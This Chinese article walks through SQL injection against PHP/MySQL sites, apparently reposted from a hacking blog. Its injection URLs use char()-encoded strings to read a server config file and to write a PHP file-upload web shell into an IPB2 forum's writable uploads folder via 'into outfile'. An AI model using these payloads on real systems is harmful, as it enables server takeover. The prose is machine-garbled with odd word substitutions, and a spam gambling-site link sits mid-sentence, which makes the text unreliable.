PHP+MySQL注入导出文件的新发现附带IPB2的漏洞利用





   我前段时光写了一篇.MySQL注入中导出字段内容的研讨——通过注入导出WebShell.www.4ngel.net/article/37.htm,是查询数据然后在天生文件的,现在我发现实在不少PHP程序,比方IPB就是把数据处理过了,再插入数据库,个别是htmlspecialchars()之后,插入数据,所以利用该文的办法,就行不通了,即便把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。

近段时间在测试一个PHP网站的时候,因为在load_file的时候,看不到文件的内容,所以我就猜忌是不是字段的起因,因为那些全体是int类型的,还有少数是VARCHAR的,我当初认为是因为这个原因,其实后来进入当前才发现是没有FILE的权限,我一直的换URL提交留神,写文章的时候,该网站已经修补了破绽,现在是本地演示:





localhost/111/show.phpid1 and 12 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)

屏幕上显示了:





/home/www/config.php

门路没错啊,文件也存在啊,岂非没有权限·临时放下这个,这个站点有可写的目录,是ipb2的|论|坛|泛亚娱乐|http://yuan01.bc88.info/fei/,/ipb2/uploads这个目录是要设置成可写的,上传附件才干畸形应用,我就想应用插数据,导出文件的方式,由于我看了phpinfo(),magic_quotes_gpc 是封闭的,所以用into outfile不问题,而后在本地测试了一下,发明提交的代码:







变成了:







多提交多少个处所,均被做了处理,看来这样我的这个思路又不行了,忽然想到方才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码·







这个转换为10进制是这样的:





char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

我马上提交:





localhost/111/show.phpid1 and 12 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)

屏幕并没有显示出咱们想要的货色,我查看源代码,发现







这个代码老诚实实躺在里面,如图:



screen.width333)this.widthscreen.width333" border0 twffan"done">

之所以看不见,是因为阅读器把“ ”和“ ”之间的东西当成HTML代码解析了,这么说是可行的!这样的利益和插数据,导出文件比拟好处在于:

不用插入数据,因而不必斟酌数据类型跟长度,也不怕做处置。
只用知道一个数据表就能够使用into outfile了,无需知道字段。

因为之前,我猜到一个user表,我也不用去晓得字段了,有字段作为查问前提只是为了避免数据库很大,导出所有数据时很慢的情形,我当初马上就提交:





localhost/111/show.phpid1 and 12 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile \'/home/www/ipb2/uploads/upload.php\'/.

立刻查看,如图:

screen.width333)this.widthscreen.width333" border0 twffan"done">

09-27 08:42